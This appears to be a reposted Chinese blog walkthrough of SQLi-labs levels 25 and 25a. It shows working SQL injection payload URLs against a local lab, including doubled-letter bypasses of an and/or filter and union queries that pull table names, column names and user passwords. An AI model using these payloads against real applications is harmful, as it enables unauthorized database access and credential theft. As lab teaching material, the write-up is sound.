当前位置: 首页 > news >正文

SQLI-labs-第二十五关和第二十五a关

目录

第二十五关

1、判断注入点

2、判断数据库

3、判断表名

4、判断字段名

5、获取数据库的数据

第二十五a关

1、判断注入点

2、判断数据库


第二十五关

知识点:绕过and、or过滤

思路:

通过分析源码和页面,我们可以知道对and和or 进行了过滤,我们需要绕过这些过滤,常见的绕过方式有大小写,双写,编码等

1、判断注入点

首先,我们输入正常的数据,看看回显

接着加入单引号

http://127.0.0.1:3306/Less-25/?id=1'

数据库语句报错,说明存在闭合问题,我们加入注释符 

http://127.0.0.1:3306/Less-25/?id=1' --+

数据正常回显,说明这里的闭合方向正确,存在单引号的闭合问题

这里可以看到输入and、or被过滤掉了

尝试一下大小写混合,发现也是不行

这里因为源码对大小写进行忽略

/i的作用就是忽略大小写

我们尝试使用双写绕过

http://127.0.0.1:3306/Less-25/?id=1' anandd 1=1 --+

http://127.0.0.1:3306/Less-25/?id=1' oorr 1=1 --+

说明双写可以绕过

判断字段数

http://127.0.0.1:3306/Less-25/?id=1' oorrder by 3--+

http://127.0.0.1:3306/Less-25/?id=1' oorrder by 4 --+

说明当前的表的字段数有三个

判断数据回显位置

2、判断数据库

http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,database() --+

3、判断表名

使用group_concat()函数

http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+

4、判断字段名

以users表为例

http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema='security'  anandd table_name='users'--+

5、获取数据库的数据

使用concat_ws()函数

http://127.0.0.1:3306/Less-25/?id=-1' union select 1,2,concat_ws(',',id,username,passwoorrd) from security.users limit 0,1 --+

通过修改limit的值可以获取全部数据


第二十五a关

知识点:绕过and、or过滤

思路:

通过分析源码,可以知道跟25关一样,过滤了and、or ,且不区分大小写,所以用双写绕过,而且没有显示报错信息

1、判断注入点

首先,我们输入正常的数据,看看回显

http://127.0.0.1:3306/Less-25a/?id=1

加入单引号’

http://127.0.0.1:3306/Less-25a/?id=1'

报错了,但没有显示具体的报错原因,加上注入符 --+

http://127.0.0.1:3306/Less-25a/?id=1' --+

这里还是报错,以为是闭合方式不对,把 "  ') ") 都试了一遍,还是不对,结果看源码,才发现是数值型注入,忽略还有这个类型,把自己给蠢笑了,哈哈哈

http://127.0.0.1:3306/Less-25a/?id=1 and 1=1 --+

这里发现and、or都被过滤,跟上面的思路一样,尝试大小写,双写,结果发现双写可以绕过

http://127.0.0.1:3306/Less-25a/?id=1 anandd 1=1 --+

将1=1,改成1=2

http://127.0.0.1:3306/Less-25a/?id=1 anandd 1=2 --+

数据没有回显,但没有报错,这也说明当前是数值型的注入

判断字段数

http://127.0.0.1:3306/Less-25a/?id=1 oorrder by 3 --+

http://127.0.0.1:3306/Less-25a/?id=1 oorrder by 4 --+

说明当前表的字段有3个

判断回显位置

http://127.0.0.1:3306/Less-25a/?id=1 anandd 1=2 union select 1,2,3--+

或者 http://127.0.0.1:3306/Less-25a/?id=-1 union select 1,2,3--+

2、判断数据库

http://127.0.0.1:3306/Less-25a/?id=-1 union select 1,2,database()--+

接下来的步骤就跟上面的差不多了,可以才参考上面的


这篇文章就先写到这里了,哪里不懂的或者不好的,欢迎指出

http://www.lryc.cn/news/354895.html

相关文章:

  • Windows、Linux添加路由
  • Swift 初学者交心:在 Array 和 Set 之间我们该如何抉择?
  • C++ 类模板 函数模板
  • OTP8脚-全自动擦鞋机WTN6020-低成本语音方案
  • GpuMall智算云:meta-llama/llama3/Llama3-8B-Instruct-WebUI
  • 内存泄漏案例分享4-异步任务流内存泄漏
  • 【机器学习300问】100、怎么理解卷积神经网络CNN中的池化操作?
  • RPA机器人流程自动化如何优化人力资源工作流程
  • OpenHarmony开发者大会2024:鸿心聚力 智引未来
  • 新楚文化知网收录文学艺术类期刊投稿
  • 基于vue3速学angular
  • 链游中的代币(Token)或加密货币(Cryptocurrency)是如何产生和使用的?
  • 2024年5月23日 (周四) 叶子游戏新闻
  • 猫毛过敏终结者!宠物空气净化器让你告别红眼和喷嚏
  • xgboost项目实战-保险赔偿额预测与信用卡评分预测001
  • 子网划分,交换机原理与配置
  • 记mapboxGL实现鼠标经过高亮时的一个问题
  • AI重塑了我的工作流
  • vue使用Less报错semi-colon expectedcss(css-semicolonexpected)的解决方法
  • 如何使用golang自带工具对代码进行覆盖率测试
  • Android studio版本和Android gradle plugin版本对应表
  • JavaRedis-主从集群-分片-数据结构-回收处理-缓存问题
  • Java原生JDBC概览
  • C# 跨线程访问UI组件,serialPort1串口接收数据
  • D - New Friends(AtCoder Beginner Contest 350)
  • 【FAQ】HarmonyOS SDK 闭源开放能力 —Account Kit(2)
  • Web组态可视化编辑器 快速绘制组态图
  • 怎样在网上赚点零花钱?推荐十个正规的赚钱兼职平台
  • 手动操作很麻烦?试试这个自动加好友神器吧!
  • 金额转大写